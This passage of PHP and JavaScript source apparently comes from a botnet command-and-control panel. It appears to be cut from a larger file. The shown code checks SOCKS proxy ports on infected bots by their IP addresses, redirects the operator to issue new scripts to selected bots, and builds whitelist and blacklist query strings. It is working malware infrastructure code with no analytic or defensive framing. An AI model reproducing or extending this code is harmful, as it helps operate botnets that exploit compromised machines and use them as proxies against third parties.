{ {$ajaxInit} if(socksHttp) { socksHttp.onreadystatechange = function(){stateChange(i)}; socksHttp.open('GET', '{$q}&ipv4=' + socksList[i][1] + '&port=' + socksList[i][2], true); socksHttp.send(null); } } } JS_SCRIPT; themeSmall(LNG_BA_PORT_SOCKS_TITLE, $data . THEME_LIST_END, $ajax, getBotJsMenu('botmenu'), ' onload="SocksCheck(0);"'); } else { if (strcmp($ba, 'newscript') === 0) { foreach ($blist as $k => $v) { if (spaceCharsExist($v)) { $blist[$k] = '"' . $v . '"'; } } header('Location: ' . QUERY_STRING_BLANK . 'botnet_scripts&new=-1&bots=' . urlencode(implode(' ', $blist))); die; } } } } } } } die; } ///////////////////////////////////////////////////////////////////////////////////////////////////
function SQLListToExp($wl, $bl) { $l[0] = explode("", $wl); $l[1] = explode("", $bl); $s[0] = array(); $s[1] = array(); for ($i = 0; $i < 2; $i++) { foreach ($l[$i] as $v) { $v = trim($v); if (strlen($v) > 0) { if (spaceCharsExist($v)) { $v = '"' . addcslashes($v, '"') . '"'; } $s[$i][] = $v; } } } $str = implode(' ', $s[0]); if (count($s[1]) > 0) { $str .= (strlen($str) > 0 ? ' ' : '') . 'NOT ' . implode(' ', $s[1]); } return $str; }